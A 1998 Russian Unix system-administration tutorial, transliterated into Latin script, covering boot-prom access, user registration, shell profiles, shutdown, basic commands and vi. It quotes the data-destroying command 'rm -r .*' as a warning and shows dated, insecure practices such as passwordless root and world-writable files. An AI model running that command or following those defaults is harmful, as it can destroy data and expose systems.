&dDVvedenie v sistemnoe administrirovanie Unix&d@

                                (Versiya 1.17. iyun' 1998)



(C) Copyright Maksim Evgen'evich Moshkov, 1993-1998

================   KOORDINATY   ===============================

Maksim Evgen'evich Moshkov
        NII Sistemnyh Issledovanij RAN,
        Inf.sektor Otdeleniya Matematiki Prezidiuma RAN
            956-2155, 274-6329, 938-1902
            moshkow@ipsun.ras.ru
            http://www.ras.ru/~moshkow/
.

        &dDVVEDENIE V SISTEMNOE ADMINISTRIROVANIE UNIX&d@

        &dDOGLAVLENIE&d@

 Oglavlenie                                             ()     

 Vklyuchenie Unix-komp'yutera                              ()     
 Registraciya novogo pol'zovatelya                        ()     
 Nachalo raboty v sisteme                                ()     
 Neskol'ko prostejshih komand Unix                       ()     

 Redaktor VI dlya nachinayushchih                             ()     
 Kakie byvayut Unix                                      ()     
 Komanda find, grep                                     ()     
 Komanda cpio, tar i arhivirovanie                      ()     

 Zagruzka operacionoj sistemy, process init             ()     
 Bazovye principy sistemy Unix                          ()     
 Special'nye fajly                                      ()     

 Diski, fajlovye sistemy                                ()     
 Vydelenie razdelov pod Swaping                         ()     
 Installyaciya sistemy                                    ()     
 Pakety: ustanovka dopolnitel'nogo softa                ()     
 Neskol'ko setevyh komand Unix (telnet, ftp, mailx...)  ()     

 Hardware lokal'nyh setej: Ethernet, Token ring, FDDI   ()     
 Hardware global'nyh setej                              ()     
 Marshrutizaciya TCP/IP      (kartinka)                   ()     
 Set' TCP/IP                                            ()     
 TCP/IP dlya bednyh                                      ()     
 Setevaya fajlovaya sistema NFS                           ()     
 NFS: konfigurirovanie avto-montirovshchika                ()     
 Konfigurirovanie DNS                                   ()     
 Sistema telefonnoj peresylki fajlov UUCP               ()     

 Sistema pechati LP                                      ()     

 Graficheskij interfejs Unix - X Windows                 ()     

        &dDPrilozheniya&d@

 Redaktor VI                                            ()     
 Kak podklyuchit' russkie fonty k X Windows               ()     
 CHto gde lezhit v SVR4                                   ()     
 Konfigurirovanie DNS. Primer standalone konfiguracii   ()     
 Knizhki pro Unix                                        ()     
 Neskol'ko upravlyayushchih komand modema                    ()     
 Konfigurirovanie servera HTTPD, format HTML            ()     
 Remont razrushennyh fajlovyh sistem                     ()     
 Istorii administratora Unix, ili GRABLI                ()     
.
        &dDVklyuchenie Unix-komp'yutera&d@

     Vklyuchite sistemnyj displej ili (pri otsutstvii takovogo)
konsol'nyj  terminal,  vklyuchite  pitanie  na  sistemnom  bloke.
Zagruzka  operacionnoj sistemy nachnetsya avtomaticheski. Ostalos'
nemnogo  podozhdat',  poka  zagruzitsya  operacionnaya  sistema  i
otrabotayut  vse polozhennye utility inicializacii sistemy, i vot
na konsoli poyavlyaetsya priglashenie

Console login:

     a na vseh ostal'nyh terminalah - prosto:

Login:

     Vvedite  svoj  vhodnoj  login  i  parol'. Esli takovyh ne
sushchestvuet, vojdite pod login'om root -  "superpol'zovatel'"  -
iznachal'no on ne imeet parolya.

Console login: root

        &dDSUN: Perehvat zagruzki v ruchnoj rezhim&d@

      Process normal'noj raboty Sun SPARCstation v lyuboj moment
vremeni mozhno perehvatit' i peredat' upravlenie na  boot-prom.
Dlya etogo na sistemnoj klaviature nazhmite STOP+A. (STOP - levaya
verhnyaya klavisha na levoj dopolnitel'noj klaviature).   Poyavitsya
boot-prom prompt Ok:

 Ok _

     Teper'  mozhno  vvodit' komandy dlya boot-monitora. Pozhaluj,
naibolee populyarnymi komandami yavlyayutsya:

  go         - vyjti iz monitora, vernut'sya v normal'nyj rezhim
  help
  boot [parametry] - zagruzit'sya
  eject      - vytolknut' "zastryavshij" floppi-disk ili CD-ROM
  probe-scsi - oprosit' opoznannye SCSI-ustrojstva
               (posle  etoj  komandy  vozvrashchat'sya  k normal'noj
               rabote komandoj "GO" NELXZYA. Perezagruzites'.)


     Esli u vas "bezgolovyj" Sun - server, to k nemu v kachestve
konsolya podklyuchaetsya  alfavitno-cifrovoj  terminal.  Podklyuchat'
mozhno k lyubomu posledovatel'nomu portu - A ili B. Sun,  zametiv
otsutstvie  sistemnoj  klaviatury, oprashivaet  vse   porty   po
ocheredi  i,  obnaruzhiv  na  odnom  iz  nih terminal, delaet ego
konsol'nym (so vsemi vytekayushchimi iz etogo posledstviyami).

     CHtoby  vyzvat' boot-monitor s alfavitnogo konsolya, nazhmite
na nem klavishu BREAK ( Na terminale vt220 BREAK -  eto  klavisha
F5).

        Vyklyuchat'  alfavitno-cifrovoj  konsol'  na  Sun-servere
nel'zya  -  pri  etom  terminal  generit  signal  BREAK,  i  Sun
perehodit   v   ostanov  v  boot-monitore.  Kak  otklyuchit'  etu
interesnuyu  osobennost'   bezgolovyh   Sun-serverov,   mne   ne
izvestno.
     Na samom dele u etoj problemy sushchestvuet azh tri resheniya:
Odno iz nih - novyj TTY-draver "CONSULT-ZSBRK", kotoryj ignoriruet BREAK.

        &dDHP 9000: Perehvat zagruzki v ruchnoj rezhim&d@

     Process  normal'noj  zagruzki HP 9000 mozhno perehvatit' i
peredat' upravlenie na boot-prom PDC (Processor Depended  code).
Dlya etogo posmotrite na konsol' v pervye sekundy zagruzki - tam
pishetsya klavisha, kotoruyu nuzhno nazhat' dlya perehvata. Na rabochih
stanciyah  eto  ESCAPE, na serverah - Ctrl-K (ili Break, ili eshche
kakaya-nibud')
      Poyavitsya PDC-prompt

BOOT-ADMIN>

     Teper'  mozhno  vvodit' komandy dlya boot-monitora. Pozhaluj,
naibolee populyarnymi komandami yavlyayutsya:

  help
  search           - najti zagruzochnye SCSI-ustrojstva
  boot [parametry] - zagruzit'sya
  secure on        - zapret perehvata nachal'noj zagruzki
                   (chtoby potom sdelat' secure off, pridetsya
                   vynut' iz komp'yutera disk i perezagruzit'sya)

     Esli  u  vas  "bezgolovyj"  server,  to  k nemu v kachestve
konsolya podklyuchaetsya  alfavitno-cifrovoj  terminal.  Podklyuchayut
ego k konsol'nomu portu.
.
        &dDRegistraciya novogo pol'zovatelya&d@

     Esli  vam v ruki popalas' svezheustanovlennaya mashina, to na
nej  eshche   ne   zaregistrirovano   nikakih   pol'zovatelej   za
isklyucheniem     superpol'zovatelya     "root"    -    sistemnogo
administratora. Parolya u nego net. Vhodite v nego.
   V superpol'zovatelya  mozhno prevratit'sya. Dlya etogo vypolnite
komandu

    su     # Super User

   Kazhdyj pol'zovatel' v  sisteme  Unix  predvaritel'no  dolzhen
byt'  zaregistrirovan.  Pol'zovatelyu  polagaetsya  imet':  imya,
parol',  nomer  pol'zovatelya,  nomer  gruppy,  k   kotoroj   on
prinadlezhit,   domashnij  katalog,  komandnyj  interpretator.  U
parolya mogut byt' dopolnitel'nye  parametry  -  kak  chasto  ego
mozhno menyat', vremya dejstviya i prochie sekretnye shtuchki.

Comment         Familiq Imya Otchestwo
logname         vhodnoe imya pol'zovatelya
passwd          parol' (parol' vvodyat dvazhdy)
UID             User Identification Descriptor
GID             Group Identification Descriptor
$HOME           Domashnij katalog
shell           Komandnyj interpretator

        &dDByvayut takie komandnye interpretatory&d@:

  /usr/local/bin/bash   Samyj udobnyj
  /bin/ksh              CHut' pohuzhe, no tozhe nichego
  /usr/local/bin/tcsh   Udobnyj, no "nepravil'nyj" i medlennyj
  /bin/sh               Samyj "pravil'nyj" i samyj neudobnyj
  /bin/csh              "Nepravil'nyj" i chut' bolee udobnyj

/etc/passwd - Vsya informaciya o pol'zovatele hranitsya zdes'.
/etc/shadow - Zdes' hranyatsya zakodirovannye paroli.
     Zakodirovannye  paroli  mogut  lezhat'  i  v drugih mestah.
Zavisit ot vida Unix.

     V  lyubom  uvazhayushchem  sebya  Unix imeetsya "golovnaya" utilita
operatora (uslovno nazyvaemaya sysadm) - dialogovaya programma, s
menyushkami   i   okoshkami   dlya  vypolneniya  nasushchnyh  zadach  po
sistemnomu   administrirovaniyu.   V   tom    chisle    pozvolyaet
registrirovat'  novyh  pol'zovatelej. Zapuskat' ee mozhet tol'ko
"superpol'zovatel'" root. Pri zapuske "sysadm"  mozhet  sprosit'
tip  terminala,  na  kotorom  emu predstoit rabotat'. Otvet'te:
vt100

     Primechanie.  V razlichnyh operacionnyh sistemah eta utilita
mozhet nazyvat'sya po-raznomu:

        admintool       Solaris 2
        adminsuite      Solaris 2.7
        sysadmsh        SCO UNIX 4
        scoadmin        SCO OpenServer 5
        smit, msmit     AIX
        sam             HP-UX
        control-panel   Linux RedHat
        sysadm          UnixWare, ISC, SVR4

        &dDKomanda registracii novogo pol'zovatelya&d@.

adduser                 Linux
useradd                 SunOS 4.1
vipw                    BSD/OS, FreeBSD

        &dDKak zaregistrirovat' novogo pol'zovatelya "vruchnuyu"&d@.

1. Vstavlyaem v /etc/passwd eshche odnu strochku:

moshkow:x:555:1:Maksim E. Moshkow:/home/moshkow:/bin/ksh

2. Privodim v sootvetstvie fajl /etc/shadow

 pwconv

3. Sozdaem pol'zovatel'skij katalog

 mkdir /home/moshkow
 chown moshkow /home/moshkow

4. Zadaem parol' novomu pol'zovatelyu

 passwd moshkow

5. Vot i vse.
.
        &dDNachalo raboty v sisteme&d@

        &dDVhod v sebya&d@
     Na ekrane terminala poyavitsya stroka

        login:

     Vvedite  imya,  pod  kotorym vy zaregistrirovany v sisteme,
esli nuzhno, parol'. Esli Vy oshiblis' pri vvode  imeni,  nazhmite
CTRL+U, ili  DEL, ili  CTRL-D  (dlya  otmeny), ili neskol'ko raz
nazhmite na Return, poterpite nemnogo i povtorite vvod.
     Na  ekrane poyavitsya priglashenie komandnogo interpretatora.

        sunsite:~/$ _

     CHtoby  vyjti  iz sistemy, naberite komandu exit ili prosto
nazhmite Ctrl-D na pustoj strochke.

        &dDPeremennye okruzheniya&d@.
     Pri   vhode   v  sistemu  dlya  pol'zovatelya  avtomaticheski
ustanavlivaetsya   neskol'ko   peremennyh    okruzheniya.    CHtoby
posmotret' ih znachenie, vypolnite komandu env.

    env   # Raspechatat' proeksportirovannye peremennye okruzheniya

LOGNAME=moshkow                  # imya pol'zovatelya
HOME=/home/moshkow               # ego domashnij katalog
SHELL=/bin/ksh                   # ego komandnyj interpretator
MAIL=/usr/mail/moshkow           # fajl, v kotoryj skladyvaetsya
                                 # prihodyashchaya emu pochta
PS1=host1:$PWD/$                 # format priglasheniya
PATH=:/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/informix/bin:
           # spisok poiska, po kotoromu ishchutsya vypolnimye fajly
TERM=vt100                       # ustanavlivaet tip terminala, na
                                 # kotorom rabotaet pol'zovatel'

     CHtoby  zadat'  znachenie  peremennoj  okruzheniya,  vypolnite
komandu:

   Imya_Pereemennoj=znachenie   export Imya_Pereemennoj

naprimer

   abc=Kalosha  export abc

prosmotret' znachenie  peremennoj  mozhno  komandoj  echo v takoj
forme:

   echo $abc

        &dDPol'zovatel'skij profajl&d@

     Pered  vhodom  v  sistemu sperva vypolnyaetsya obshchesistemnyj
profajl /etc/profile

     Zatem  vypolnyaetsya  pol'zovatel'skij fajl ".profile" (esli
on est') - v nih mozhno  ustanavlivat'  peremennye  okruzheniya  i
delat'  ustanovki  rezhimov terminala. Prosmotret' ustanovlennye
peremennye okruzheniya mozhno komandoj env

##### Primer fajla   .profile ##################################

       # Dobavit' k spisku poiska katalogi s nuzhnymi programmami
PATH=:$HOME/bin:$PATH:/usr/sbin:/usr/local/bin:/usr/informix/bin
       #    Razreshit' redaktirovanie komandnoj stroki v ksh
EDITOR=emacs
export PATH EDITOR
LC_CTYPE=iso_8859_1 export LC_CTYPE # russkie bukvy - "bukvy"

        #       Harakteristiki terminala
        # Zaboj=BackSpace          Steret'Stroku=Ctrl-U
        # Prervat'Programmu=Ctrl-C "ZHestokoe_preryvanie"=Ctrl-|
stty erase "^h" echoe      kill "^u" quit "^|" intr "^c"
stty cs8 -parenb -istrip
        # 8-bitnye simvoly, noparity, ne  usekat'  8-j  bit
        # pri vvode

case "$0" in    # V zavisimosti ot komandnogo interpretatora
*ksh)                   #       V Korn Shelle
                        #       Redaktirovat'sya strelochkami
        alias __A=`echo "\020"`         # ^P = vos'merichnyj 020
        alias __B=`echo "\016"`         # ^N
        alias __C=`echo "\006"`         # ^F
        alias __D=`echo "\002"`         # ^B
        # V priglashenie stavit' tekushchij pwd
        PS1=$LOGNAME@`uname -n`:'$PWD/$ '            export PS1
        ;;
*bash)          # V bash'e v priglashenie stavit' host:pwd
        PS1='\h:\w/\$ '                              export PS1
        ulimit -Sc 0 # chtob programmy core ne ronyala
        ;;
*sh)    # dlya posix-shell i HP-UX
        PATH=$PATH:/usr/sbin
        PS1=$LOGNAME@`uname -n`:'$PWD/$ '
        HISTFILE=$HOME/.sh_history
        ENV=$HOME/.kshrc
        export PATH ENV HISTFILE PS1
# i ne zabyt' v fajl .kshrc vpisat'      set -o emacs
        ;;
esac
#   obratite vnimanie:   v nekotoryh mestah PROSTAYA kavychka _'_
#   a v drugih - OBRATNAYA  _`_ - bud'te vnimatel'ny, eto vazhno.

        &dDKlavishi dlya redaktirovaniya komandnoj stroki&d@
     Esli  vy  rabotaete  v komandnom interpretatore Korn-Shell
/bin/ksh, i u vas ustanovlena peremennaya EDITOR=emacs,   to  vy
smozhete  redaktirovat'  komandnuyu  stroku  s  pomoshch'yu strelok i
Ctrl-klavish:

^P / ^N   PREVIOUS / NEXT         komanda
^F / ^B   FORWARD / BACK          na poziciyu
^A / ^E   v NACHALO / KONEC        stroki
^D / ^K   Udalit' SIMVOL / Udalit' KONEC STROKI
^Y        Vspomnit' udalennoe
^R        Poisk predydushchej komandy

ESC ESC   Dobit' imya fajla
ESC =     Raspechatat' pohozhie imena fajlov
     a esli komandnyj interpretator bash, to obe eti komandy
     sidyat na klavishe TAB


        &dDVyklyuchenie sistemy&d@

     CHtoby  nachat'  process vyklyucheniya sistemy, sleduet, buduchi
pol'zovatelem root i nahodyas' v  kornevom  kataloge,  vypolnit'
komandu

    cd /
    shutdown -y -g0 -i0

     Dozhdites'  polnogo  okonchaniya  razgruzki  sistemy i tol'ko
togda vyklyuchajte pitanie.

     Dlya perezagruzki sistemy vypolnite komandu

    shutdown -y -g0 -i6

     Perezagruzit' ili razgruzit' sistemu mozhno takzhe i iz menyu
sistemnogo administratora komandy sysadm.

     V  nekotoryh realizaciyah Unix (v chastnosti, v BSD, SunOS,
Linux,  HP-UX)  komanda  shutdown  ispol'zuet  drugie   klyuchi.
Poprobujte v etom sluchae:

   shutdown -y -h now   # dlya ostanovki
   shutdown -y -r 60    # dlya perezagruzki cherez 60 sekund
.
        &dDNeskol'ko prostejshih komand Unix (kurs molodogo bojca)&d@

1.1. Sistema  Unix razlichaet BOLXSHIE i  malye bukvy, i  k etomu
mozhno privyknut'.

1.2. Esli vy unichtozhili kakoj-nibud' fajl, to nikakih problem s
ego vosstanovleniem u vas ne  budet.  Potomu  chto  vosstanovit'
unichtozhennyj fajl v sisteme Unix NEVOZMOZHNO. V Unix otsutstvuet
komanda unerase, i k etomu  tozhe  nuzhno  privyknut'.  Virusy  i
antivirusy  v  Unix  tozhe  otsutstvuyut. Tak chto  poka hot' etoj
problemy u administratora mashiny ne budet.

1.3.  V  imeni fajla direktorii otdelyayutsya ot posleduyushchej chasti
simvolom "/". (Bill Gejts tozhe hotel, chtob u nego v  MSDOS  vse
kak  v  Unix bylo, vot i vzyal simvol "\" - pereputal - s kem ne
byvaet.)
       Esli  imya  nachinaetsya  so  slesha  -  znachit,  eto polnoe
marshrutnoe imya.
     Prostoe  imya fajla mozhet sostoyat' iz LYUBYH simvolov. Dlina
prostogo imeni ne bolee 256 simvolov. Dlina polnogo marshrutnogo
imeni  fajla  ne  bolee 1024 simvolov.

1.4.   Dlya   zadaniya  shablona  imen  ispol'zuyutsya  simvoly  "*"
(proizvol'naya  posledovatel'nost'   simvolov)   i   "?"   (odin
proizvol'nyj simvol). Imya iz odnoj tochki "." oboznachaet tekushchuyu
direktoriyu, imya iz dvuh tochek ".." - vyshelezhashchuyu  (roditel'skij
katalog).

1.5.   CHtoby  zapustit'  programmu  na  vypolnenie,  dostatochno
nabrat' ee  imya  i,  esli  nuzhno,  drugie  argumenty  komandnoj
stroki. Imya programmy - eto marshrutnoe imya fajla, v kotorom eta
programma   nahoditsya.   Argumenty   razdelyayutsya   odnim    ili
neskol'kimi  probelami i tabulyatorami. Klyuchi komandy obychno (no
ne vsegda) vydelyayutsya znakom  "-".

     komanda -klyuchi -klyuchi ...  prochie raznye argumenty ...

1.6.  Esli  komandnaya  stroka  konchaetsya  znakom  &, to komanda
zapustitsya parallel'no (fonom). Na terminale pechataetsya  nomer,
kotoryj   poluchaet   zapushchennyj   process.   Posle  chego  mozhno
prodolzhat' rabotu, ne dozhidayas' zaversheniya fonovoj zadachi.

     komanda -vsyakie raznye argumenty ... &

1.7.    Komanda    imeet   tri   predopredelennyh   napravleniya
vvoda-vyvoda  -   standartnyj   vvod,   standartnyj   vyvod   i
standartnyj  protokol.  Kak  pravilo,  komanda  beret  ishodnye
dannye  iz  standartnogo  vvoda   i   pechataet   rezul'taty   v
standartnyj  vyvod. V standartnyj protokol pechatayutsya soobshcheniya
ob oshibkah i diagnostika. Pervonachal'no standartnye vvod, vyvod
i   protokol   naznacheny   na   terminal,   odnako   ih   mozhno
perenaznachit', ispol'zuya sleduyushchie konstrukcii:

       komanda  > imya_fajla
(dlya standartnogo vyvoda),

       komanda  < imya_fajla
(dlya perenaznacheniya standartnogo vvoda),

       komanda  2> imya_fajla
(dlya standartnogo protokola - sistemnoj diagnostiki).

     Primer - zapisat' v fajl soderzhimoe tekushchej  direktorii:

        ls > infdir

       Esli  vyvod naznachen v fajl, to pered nachalom vypolneniya
komandy sozdaetsya pustoj fajl s  sootvetstvuyushchim  imenem  (esli
fajl   uzhe  sushchestvoval,  on  opustoshaetsya),  a  zatem  v  nego
pomeshchaetsya informaciya. Esli informaciyu nuzhno dopisat'  v  konec
sushchestvuyushchego fajla, sleduet vospol'zovat'sya konstrukciej

        komanda  >> imya fajla
        komanda 2>> imya fajla

1.8. Pol'zovateli sistemy Unix ob®edinyayutsya v  gruppy, i kazhdaya
iz grupp obladaet opredelennym naborom prav dostupa k fajlam.

1.9.   Programmy   mogut   raspoznavat'   znacheniya   peremennyh
okruzheniya, znacheniya kotoryh byli zadany pered ih zapuskom.

TERM=vt220
HOME=/home/moshkow
PATH=:/bin/:dss/rk:/home/moshkow/bin

1.8.  Vydachu  odnoj komandy mozhno perenapravlyat' na vhod drugoj
komandy. Dlya etogo ispol'zuetsya "|" - konvejer.

     Primer:  poschitat'  summarnyj  razmer  i  chislo strok vseh
fajlov v kataloge /tmp, imena  kotoryh  nachinayutsya  s  simvolov
"text" ...

    cat /tmp/text* | wc -c

# Komanda cat slivaet vmeste vse fajly vida /tmp/text*,
# wc -c -l schitaet kolichestvo simvolov i chislo strok vo vhodnom
# potoke.

    Ili prosmotret' s listaniem dlinnuyu vydachu komandy:

   ps -ef  |  more

Togo zhe rezul'tata mozhno dostich' i bez konvejera takim obrazom:

  ps -ef > temp-file
  more temp-file
  rm temp-file

        &dD2. Nekotorye naibolee upotrebitel'nye komandy&d@.

pwd   - poluchit' imya tekushchej direktorii
cd    - izmenit' tekushchuyu direktoriyu
ls    - raspechatat' informaciyu o fajlah ili direktoriyah
cat   - slit' ili vyvesti fajly-argumenty na standartnyj vyvod
cp    - kopirovat' fajly
mv    - peremestit' (pereimenovat') fajly
ln    - sozdat' ssylku na fajl
rm    - udalit' fajly
rmdir - udalit' direktoriyu
mkdir - sozdat' direktoriyu
echo  - vyvesti argumenty komandnoj stroki na standartnyj vyvod
ps    - raspechatat' informaciyu i nomera vypolnyaemyh processov
kill  - "ubit'" vypolnyaemyj proces po ego nomeru
man   - vydat' spravku ob ispol'zovanii i klyuchah komandy

        &dD2.1 pwd    Vydat' imya tekushchej direktorii&d@.

  pwd

        &dD2.2 cd     Smenit' tekushchuyu direktoriyu&d@.

  cd [ direktoriya]

  cd /usr/spool/lp/adm

  cd ..

Esli  direktoriya  ne  ukazana,  vy  popadaete v svoj "domashnij"
katalog $HOME

        &dD2.3 ls     Raspechatat' katalog&d@.

Format komandy:  ls [klyuchi] [imena]

imena - imena fajlov ili direktorij; dlya direktorij
        raspechatyvaetsya spisok vhodyashchih v nee fajlov, dlya fajlov -
        vyvoditsya ego imya i dopolnitel'naya informaciya.
        Imena fajlov sortiruyutsya po alfavitu.
        Bez argumentov ls vydaet soderzhimoe tekushchej direktorii.

  ls -al  - vyvod v dlinnom polnom formate:

          chislo   vladelec            vremya modifikacii
          linkov        gruppa                        imya fajla
          (imen)                  razmer
-rwxr-xr-x   1 moshkow  sys         17 Oct 18 16:13 ../jean
drwxr-xr-x   1 moshkow  sys         12 Oct 18 16:11 ../jelly
-rwxr-xr-x   1 moshkow  sys          0 Oct 13 14:14 ../j.bu.txt
^^  ^  ^
||  |  |
||  |  +----- prava vseh "prochih" po otnosheniyu k fajlu
||  +-------- prava odnoj s nim gruppy
|+----------- prava "vladel'ca" fajla
+------------ "-" - znachit fajl,  "d" - direktoriya
        Prava:
                r - fajl dostupen dlya chteniya,
                w - fajl dostupen dlya zapisi,
                x - fajl yavlyaetsya vypolnimym,
                - - dannoe pravo dostupa otsutstvuet.

       -a - vyvesti vse fajly (dazhe esli imena nachinayutsya s tochki);
       -x - vyvod v 4 kolonki;
       -t - imena fajlov sortiruyutsya ne po alfavitu, a po
            vremeni  poslednego izmeneniya
       -R - rekursivno projti po vsem podkatalogam

  ls -CF  - oglavlenie kataloga v neskol'ko stolbikov
  ls -al  - oglavlenie v polnom formate

        &dD2.4 cat    Slit' i vyvesti fajly na standartnyj vyvod&d@.

Format komandy:  cat fajl1 [fajl2... ]

Cat  vyvodit  soderzhimoe  perechislennyh  na  standartnyj vyvod.
Primer:

     cat fajl

raspechatyvaet soderzhimoe fajla, a

     cat fajl1 fajl2 > fajl3

slivaet  pervye  dva fajla i pomeshchaet rezul'tat v tretij. CHtoby
dobavit' soderzhimoe fajla1 k fajlu2, nado vypolnit' komandu

     cat fajl1 >> fajl2

        &dD2.5 more, pg Prosmotret' fajl postranichno&d@.

     more file_name ...
     pg   file_name ...
     less file_name ...

Vse  eti  komandy  pozvolyayut  prosmatrivat'  fajl,  listaya  ego
poekranno.  Prosmotrom mozhno upravlyat' s pomoshch'yu klavish.  Samoe
udobnoe upravlenie u komandy "less", samoe "dubovoe" - u "pg"

q      - zavershit' prosmotr
PROBEL - pokazat' sleduyushchuyu stranicu
ENTER  - sdvinut'sya na odnu stroku
b      - pokazat' predydushchuyu stranicu
/      - poisk
h      - Help - posmotret' spisok vseh vozmozhnyh komand

more,less,pg  ispol'zuyut,  chtoby  posmotret'  "dlinnuyu"  vydachu
komandy, stavya ego konvejerom "ej na hvost"

    ls -al | more   - prosmotret' oglavlenie
    ps -e  | pg     - prosmotret' spisok rabotayushchih processov

        &dD2.6 cp     Kopirovat' fajly&d@.

Format komandy:  cp fajl1            fajl2
                  cp fajl1 [fajl2 ...] katalog

|ta  komanda  kopiruet  fajl1,  ...  ,  v FAJL. Esli FAJL - eto
direktoriya, to fajl1 i dr. kopiruyutsya v nee pod svoimi imenami.
Esli  FAJL  ne  sushchestvoval, to on sozdaetsya, esli sushchestvoval,
ego staroe soderzhimoe teryaetsya.

        &dD2.7 mv     Peremestit' (pereimenovat') fajly&d@.

Format komandy:  mv fajl1             fajl2
                  mv fajl1 [fajl2 ...] katalog

Komanda  analogichna  komande  cp, no ishodnyj fajl unichtozhaetsya.
Ee osnovnaya rol' - pereimenovanie fajlov i  perenos  fajlov  iz
odnoj direktorii v druguyu). Primer:

    mv /dss/*/rk_*.help /dss/delo


        &dD2.8 ln     Svyazat' fajly&d@.

Format komandy:  ln fajl1 fajl2
                            # sozdaetsya "zhestkij" link
                  ln -s fajl1 fajl2
                            # sozdaetsya "simvolicheskij" link

|ta  komanda  sozdaet fajlu fajl1 eshche odno imya. V itoge fajl1 i
fajl2 na samom dele fizicheski yavlyayutsya odnim i tem  zhe  fajlom.
Esli   vy   sozdaete   tak   nazyvaemyj  "simvolicheskij  link"
(ispol'zuya klyuch  "-s"),  to  fajl  file1  pri  etom  ne  obyazan
sushchestvovat'.  Imya "fajl2" pri etom vse ravno budet sozdano.

        &dD2.9 rm     Udalit' fajl ili direktoriyu&d@.

Format komandy:  rm [-fri]  fajl ...
        -i      - prosit' podtverzhdeniya na kazhdoe udalenie
        -r      - rekursivno udalit' vmeste s podkatalogami
        -f      - ne prosit' podtverzhdeniya, a srazu udalyat'

Dlya udaleniya pustoj direktorii mozhno vospol'zovat'sya komandoj

     rmdir direktoriya ...

CHtob udalit' nepustuyu direktoriyu, nuzhno vypolnit' komandu

    rm -r direktoriya

VNIMANIE: Vvidu togo, chto pod shablon ".*" podhodit katalog ".."
NIKOGDA NE DELAJTE KOMANDY                # rm -r .*
(Hotya bol'shinstvo unix'ov proshchayut podobnuyu oshibku, no NE VSE -
v SCO riskuete naporot'sya)

        &dD2.10 mkdir  Sozdat' direktoriyu&d@.

Dlya sozdaniya direktorii primenyaetsya komanda mkdir.

Format komandy:  mkdir  imya_direktorii ...

        &dD2.11 chmod  Izmenenie prav dostupa k fajlam&d@.

Komanda chmod menyaet atributy (prava dostupa) fajla.
Prostavit' fajlam pravo na vypolnenie:

    chmod u+x file1

Razreshit' ostal'nym pol'zovatelyam ispravlyat' fajl

    chmod a+w file1

        &dD2.12 echo   |ho&d@.

echo Komanda vyvodit na standartnyj vyvod svoi argumenty

    echo "\017"

Vyvesti  na  terminal  simvol  Ctrl-O,  on zhe 017 vos'merichnoe.
Vosstanavlivaet latinicu na terminalah tipa vt220 i at386

        &dD2.13        Sozdat' fajl&d@.

Dlya sozdaniya fajla mozhno vospol'zovat'sya sleduyushchimi sposobami:

    touch primer   # sozdaet pustoj fajl primer;
    cat > primer   # sozdaet  fajl  primer i pishet v nego
                   # so standartnogo vvoda. Zapis' v fajl zakonchitsya
                   # posle nazhatiya CTRL+D.

        &dD2.14 ps     Kakie programmy vypolnyayutsya&d@.

Soobshchaet  nomera  processov, kotorye  vypolnyayutsya v sisteme.

    ps          - zapushchennye tol'ko s etogo terminala
    ps -ef      - vse, v "polnom" formate (v SYSV Unix)
    ps -ax      - vse, v "polnom" formate (v BSD* i Linux)

        &dD2.15 kill   Prervat' process&d@.

Komanda  kill  posylaet  ukazannomu processu signal nemedlennoj
ostanovki.

Prervat' process nomer 1078 (nomer mozhno uznat' komandoj ps -e)

    kill -9 1078

Prervat'  programmu na vashem terminale, zapushchennuyu NE v fonovom
rezhime, mozhno nazhatiem klavishi CTRL-C, ili klavishi CTRL-\

        &dD2.16 man    Esli vy zabyli, kak pol'zovat'sya komandoj&d@.

Kak  pravilo,  pri  zapuske  komandy  bez argumentov ona vydaet
format svoego vyzova.  No  dlya  bol'shinstva  komand  dostatochno
polnuyu informaciyu vy mozhete poluchit' tak:

    man    imya_interesuyushchej_vas_komandy
    man -k klyuchevoe_slovo    # spisok komand, otnosyashchihsya k ...

        &dD2.17 who    Kto rabotaet v sisteme&d@.


    who           - etimi komandami mozhno uznat', kto vy takoj
    who am i        i kto eshche rabotaet v sisteme
    finger
    last | more
    id
    man -k who   - soobshchit vse vozmozhnye komandy, kotorymi mozhno
                   uznat', kto i chto delaet v sisteme.
.
        &dDOchen' kratko o redaktore "VI"&d@

Po  ne  znayu  kakoj  uzh  tam  istoricheskoj  tradicii  "chestnye"
(kanonicheskie) sistemy Unix ne imeyut v svoem bazovom  komplekte
ni   odnogo   normal'nogo   (eshche  raz  podcherknu  eto  slovo  -
NORMALXNOGO)   tekstovogo    redaktora.    Poetomu    sistemnyj
administrator  obyazan  umet'  pol'zovat'sya tem, chto emu dayut. A
dayut emu nesravnennyj "Vizual'nyj" ekrannyj redaktor  fajlov  -
Redaktor VI.

        &dDRedaktor VI imeet tri rezhima:&d@

1.  Komandnyj  -  v  etom  rezhime mozhno peremeshchat'sya po fajlu i
vypolnyat' redaktiruyushchie komandy nad tekstom. Komandy vyzyvayutsya
OBYCHNYMI LATINSKIMI BUKVAMI.

2. Vvoda teksta - v etom rezhime obychnye latinskie  bukvy  budut
vstavlyat'sya v tekst.

3.  Rezhim  strochnogo  redaktora  ED ispol'zuetsya dlya upravleniya
fajlami (tipa sohranit' fajl, zachitat' fajl i t.d.)

   Prochitajte predydushchij abzac eshche raz. Vy eshche  ne  ispugalis'?
Horosho. Poehali. Itak:

       vi imya_fajla

VI v KOMANDNOM REZHIME.

CHTOBY VYJTI IZ FAJLA BEZ SOHRANENIYA, nazhmite:
     ESC  :  q  ! Enter

chtoby vyjti iz fajla, sohraniv izmeneniya, nazhmite:
     ESC  :  w ! Enter
     ESC  :  q   Enter
vyjti iz fajla s sohraneniem, odnoj komandoj:
     ESC  :  wq  Enter

        &dDdlya perehoda V REZHIM VVODA nuzhno nazhat' komandy tipa:&d@
   "i"   vstavlyat' zdes'
   "A"   vstavlyat' s konca stroki
   "cw"  zamenyat' tekushchee slovo

   ESC    dlya VOZVRATA V KOMANDNYJ REZHIM
   CTRL-[ dlya vozvrata v komandnyj rezhim

   dlya perehoda V REZHIM UPRAVLENIYA FAJLAMI nuzhno nazhat'
   ":"  (perejti v rezhim redaktora ED)

        &dDDvigat'sya po fajlu mozhno komandami:&d@
     h,j,k,l    vlevo, vniz, vverh, vpravo
     Ctrl-F     Na stranicu vniz
     Ctrl-B     Na stranicu vverh
A esli vam ochen' povezet, to mozhno budet dvigat'sya strelochkami.
CHtoby perejti v rezhim vezeniya, nuzhno opisat'  dlya  operacionnoj
sistemy   vash   terminal.   |tim  zajmemsya  v  dal'nejshem  (sm.
"Opisanie terminalov, terminfo, termcap").

Podgonite kursor k nuzhnomu mestu i nazhmite
     i          perevod v rezhim vvoda
vvodite trebuemyj tekst
     ESC        prekratit' vvod, perejti v komandnyj rezhim

